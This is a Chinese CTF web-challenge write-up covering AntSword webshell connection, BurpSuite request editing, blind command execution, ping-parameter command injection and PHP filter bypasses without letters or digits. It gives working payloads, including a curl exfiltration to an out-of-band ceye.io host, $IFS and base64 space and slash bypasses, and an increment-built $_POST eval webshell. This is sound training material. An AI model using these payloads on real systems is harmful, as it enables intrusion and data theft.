中国蚁剑的使用

首先在浏览器查看目标网站如下:

image-20230504094436317

可以看到,目标网站接受一个叫做 shell 的 POST 字段,因此,我们只需要在中国蚁剑设定 URL 地址和连接密码为 shell 就可以测试连接了。

image-20230504094254919

连接成功后,右键连接拿到虚拟终端,执行 cat /flag 就可以拿到 flag 的值为 flag{Have_a_g00d_time}

执行 whoami 即可查看当前的用户名为 www-data

BurpSuite 工具使用

将浏览器使用 Proxy SwitchyOmega 插件设置为用 localhost:8080 代理,那么浏览器的包会被 burpsuite 捕获。我们找到需要的包,将其发送给 Repeater

image-20230504101325487

Repeater 上我们可以很好的和服务端交互。查看目标网站,接受的是 POST 字段,因此我们需要将请求方式修改为 POST(右键有修改选项)。然后填写 POST 表单。点击 send 即可拿到 flag

image-20230504102032202

无回显命令执行

因为是无回显命令,因此,我们需要使用公网 IP 来接受数据。如下,使用 curl http://dt52tj.ceye.io/cat /flag,就会将结果拿去访问该网站。

image-20230503160735066

在该网站上,我们可以发现访问的地址如下,那么也就是拿到了 flag

image-20230503160808744

命令执行

首先,查看 php 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
if(isset($_GET['host'])){
$host=$_GET['host'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\\|\(|\)|\[|\]|\{|\}/", $host, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\\|\(|\)|\[|\]|\{|\}/", $host, $match);
die("ban symbol!");
}
else if(preg_match("/ /", $host)){
die("ban space!");
}
else if(preg_match("/bash/", $host)){
die("ban bash!");
}
system("ping -c 2 $host");
}

这个过滤条件还是很宽松的。首先,尝试使用 http://58.240.236.231:50103/?host=0;ls 输出的结果如下:

image-20230504140313578

因此,我们使用 cat flag.txt 即可拿到 flag 的值。但是,由于空格符号被 ban 了,因此,我们使用 $IFS$9 来绕过空格。$IFS 在 Linux 下表示分隔符,单纯的 cat$IFSxxx,解释器会将 IFSxxx 整体当作一个变量名。而 $9 表示当前 shell 进程的第九个参数的持有者,始终为空字符串。

payload 为:http://58.240.236.231:50103/?host=0;cat$IFS$9flag.txt 结果如下:

image-20230504141130799

如果 flag 文件只存在于根目录下,那么我们需要使用 /flag 来定位它。但是 / 符号却被 ban 了,因此,可以使用 base64 来解决。

1
2
3
4
5
$ echo "cat /flag" | base64
Y2F0IC9mbGFnCg==
# 构造请求为 host=0;`echo$IFS$9Y2F0IC9mbGFnCg==|base64$IFS$9-d`
$ echo "9Y2F0IC9mbGFnCg==" | base64 -d
cat /flag

结果和上面相同。

无数字字母 webshell(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode' ] == "eval"){
$shell = $_GET['shell'];
echo strlen($shell);
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}

function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`",hex2bin('c1'),hex2bin('92')];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 6) return True;
}
}
}
return False;
}
?>

这个题目要求长度不超过 15,不能包含被 ban 掉的字符,并且字母数字的数量不能超过 6。因为没有 ban 掉 ~ 符号,因此可以考虑使用反码解决。

hhh

system(~); 本身占 10 个字符 我们的命令里只能 5 个字符。一般来说,是 cat /flagflag* 替代,catnl 替代,刚好 15 字符。

image-20230504143101070

输出的 1 是 flag 的内容,2 是 flag.sh 的内容。

无数字字母 webshell(2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['debug'])) {
// disable function
phpinfo();
exit;
}

function count_string_char($str) {
$arr = [];
foreach (str_split($str) as $value) {
if (!in_array($value, $arr)) {
array_push($arr, $value);
}
}
return sizeof($arr);
}

if (isset($_POST['cmd']) && is_string($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$c = count_string_char($cmd);
if ($c > 13) {
die("$c too long");
}
if ( preg_match('/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i', $cmd) ) {
die("nonono");
}
eval( "print($cmd);" );
} else {
exit();
}

可以看到,在服务端 ban 掉了所有的数字和字母,并且还 ban 掉了 ~、^、?等符号,因此无法使用取反、异或和通配符等来解决。并且过滤了字符的种类,不能超过 13 种。因此,我们考虑使用自增来解决这个问题。

首先,构造出 $_POST[_]($_POST[__]),这个部分的代码如下,和 PPT 上的基本相同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php					
$__=++$____; //2, 4 = 1
--$__; //2 = 0
$____=((_/_).''){$__}; //4 = N
$___=++$____; //3 = 4 = O
++$____; //4 = P
$___=$____.$___; //3 = PO
++$____;++$____;++$____;//4 = S
$___.=$____; //3 = POS
++$____; //4 = T
$___.=$____; //3 = POST
$___='_'.$___; //3 = _POST
${$___}{_}(${$___}{__});// _POST[_]($POST[__])
?>

又因为 cmd 字段是 print() 函数的参数,因此,我们可以先构造一个 _)print( 构成封闭,然后我们的 payload 中省略最后的 );,复用 print(); 中的 );。因此,最终我们的 payload 结构如下:

1
_);$__=++$____;--$__;$____=((_/_).''){$__};$___=$____;++$____;$___=$____.$___;++$____;++$____;++$____;$___.=$____;++$____;$___.=$____;$___='_'.$___;${$___}{_}(${$___}{__}

将其 URL 编码后如下:

1
_)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24___%3D%2B%2B%24____%3B%2B%2B%24____%3B%24___%3D%24____.%24___%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%24___%3D'_'.%24___%3B%24%7B%24___%7D%7B_%7D(%24%7B%24___%7D%7B__%7D

因为我们已经构造了一个 _POST[_]($POST[__]) 语句,这表明此时 php 脚本可以接受 name=_name=__ 的两个表单数据,并且会执行 _(__);。即当我们将 _ 赋值为 system,将 __ 赋值为 cat /flag 时,会执行 system("cat /flag");,拿到 /flag 中的数据。

由于这里接受的是 POST 请求字段,所以需要和题目二一样使用 BurpSuite 抓包后将请求方法修改为 POST,最终的构造如下:

image-20230504165055805

最终 payload 为:

1
cmd=_)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24___%3D%2B%2B%24____%3B%2B%2B%24____%3B%24___%3D%24____.%24___%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%24___%3D'_'.%24___%3B%24%7B%24___%7D%7B_%7D(%24%7B%24___%7D%7B__%7D&_=system&__=cat /flag

flag 为(第一个 _print(_); 输出的):

1
flag{Y0u_ar4_0utstanding}